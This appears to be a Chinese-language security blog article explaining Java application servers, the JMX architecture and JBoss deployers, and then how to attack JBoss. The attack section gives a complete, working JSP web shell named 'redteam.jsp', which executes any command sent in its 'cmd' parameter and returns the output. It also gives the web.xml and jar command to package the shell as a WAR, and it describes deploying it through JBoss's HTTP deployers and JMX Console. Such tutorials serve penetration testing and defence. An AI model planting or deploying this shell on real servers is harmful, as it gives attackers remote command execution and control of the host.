1、java应用服务器
    Java应用服务器主要为应用程序提供运行环境,为组件提供服务。Java 的应用服务器很多,从功能上分为两类:JSP 服务器和 Java EE 服务器。
1.1  常见的Server概述
    常见的Java服务器:Tomcat、Weblogic、JBoss、GlassFish、Jetty、Resin、IBM Websphere、Bejy Tiger、Geronimo、Jonas、Jrun、Orion、TongWeb、BES Application Server、ColdFusion、Apusic Application Server、Sun Application Server 、Oracle9i/AS、Sun Java System Application Server。
    Myeclipse比较方便的配置各式各样的Server,一般只要简单的选择下Server的目录就行了。
<ignore_js_op>
JMX架构
设备层(Instrumentation Level):主要定义了信息模型。在JMX中,各种管理对象以管理构件的形式存在,需要管理时,向MBean服务器进行注册。该层还定义了通知机制以及一些辅助元数据类。
代理层(Agent Level):主要定义了各种服务以及通信模型。该层的核心是一个MBean服务器,所有的管理构件都需要向它注册,才能被管理。注册在MBean服务器上管理构件并不直接和远程应用程序进行通信,它们通过协议适配器和连接器进行通信。而协议适配器和连接器也以管理构件的形式向MBean服务器注册才能提供相应的服务。
分布服务层(Distributed Service Level):主要定义了能对代理层进行操作的管理接口和构件,这样管理者就可以操作代理。然而,当前的JMX规范并没有给出这一层的具体规范。
JMX InvokerInvokers允许客户端应用程序发送任意协议的JMX请求到服务端。
这些调用都用过MBean服务器发送到响应的MBean服务。
传输机制都是透明的,并且可以使用任意的协议如:HTTP,SOAP2或JRMP3。
Deployer架构攻击者对JBoss应用服务器中的Deployers模块特别感兴趣。
他们被用来部署不同的组成部分。
本文当中重点要将的安装组件:
JAR(Java ARchives):JAR 文件格式以流行的 ZIP 文件格式为基础。与 ZIP 文件不同的是,JAR 文件不仅用于压缩和发布,而且还用于部署和封装库、组件和插件程序,并可被像编译器和 JVM 这样的工具直接使用。在 JAR 中包含特殊的文件,如 manifests 和部署描述符,用来指示工具如何处理特定的 JAR。
WAR(Web ARchives):WAR文件是JAR文件包含一个Web应用程序的组件,与Java ServerPages(JSP),Java类,静态web页面等类似。
BSH(BeanSHell scripts):BeanShell是Java脚本语言,BeanShell脚本使用Java语法,运行在JRE上。
最重要的JBoss应用服务器deployer是MainDeployer。它是部署组件的主要入口点。
传递给MainDeployer的部署组件的路径是一个URL形式:

org.jboss.deployment.MainDeployer.deploy(String urlspec)
MainDeployer会下载对象,并决定使用什么样的SubDeployer转发。
根据组件的类型,SubDeployer(例如:JarDeployer,SarDeployer等)接受对象进行安装。
为了方便部署,可以使用UrlDeploymentScanner,它同样获取一个URL作为参数:

org.jboss.deployment.scanner.URLDeploymentScanner.addURL(String urlspec)
传入的URL会被定期的检查是否有新的安装或更改。
这就是JBoss应用服务器如何实现热部署的,有新的或者更改的组件会被自动的部署。
0x02 攻击


WAR文件最简单的在JBoss应用服务器上运行自己的代码是部署一个组件,JBoss可以通过HTTP安装组件。
WAR文件包需要在WEB-INF目录下含一个web.xml文件,在实际的应用程序代码目录之外。
这是一个描述文件,描述了在什么URL将在之后的应用程序中发现。
WAR文件可以用Java的SDK jar命令创建:

$ jar cvf redteam.war WEB-INF redteam.jsp
redteam.war的结构目录:

|-- META-INF|   -- MANIFEST.MF|-- WEB-INF|   -- web.xml -- redteam.jsp
META-INF/MANIFEST.MF是用jar创建文件时自动创建的,包含JAR的信息,例如:应用程序的主入口点(需要调用的类)或者需要什么额外的类。这里生成的文件中没有什么特别的信息,仅包含一些基本信息:

Manifest-Version: 1.0 Created-By: 1.6.0_10 (Sun Microsystems Inc.)
WEB-INF/web.xml文件必须手动创建,它包含有关Web应用程序的信息,例如JSP文件,或者更详细的应用描述信息,如果发生错误,使用什么图标显示或者错误页面的名称等

<?xml version="1.0" ?><web-app xmlns="http://java.sun.com/xml/ns/j2ee"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee             http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"         version="2.4">    <servlet>        <servlet-name>RedTeam Shell</servlet-name>        <jsp-file>/redteam.jsp</jsp-file>    </servlet></web-app> 
redteam的内容:

<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) {  String cmd = request.getParameter("cmd");  Process p = Runtime.getRuntime().exec(cmd);  OutputStream os = p.getOutputStream();  InputStream in = p.getInputStream();  DataInputStream dis = new DataInputStream(in);  String disr = dis.readLine();  while ( disr != null ) {    out.println(disr);    disr = dis.readLine();} }%> 
HTTP请求:

/redteam.jsp?cmd=ls
将会列出当前目录所有文件,命令执行后的结果会通过如下代码返回来:

while ( disr != null ) {  out.println(disr);  disr = dis.readLine();}
JMX ConsoleJMX控制台允许通过web浏览器与JBoss应用服务器直接互动的组件。
它可以方便的管理JBoss服务器,MBean的属性与方法可以直接调用,只要参数中没有复杂的参数类型。
<ignore_js_op>

相关文章:

  • 2022-12-23
  • 2021-10-22
  • 2022-12-23
  • 2021-05-23
  • 2022-03-07
  • 2021-06-10
  • 2021-12-29
  • 2022-02-10
猜你喜欢
  • 2021-05-13
  • 2022-12-23
  • 2022-01-30
  • 2021-11-20
  • 2021-06-27
  • 2022-12-23
  • 2022-12-23
相关资源
相似解决方案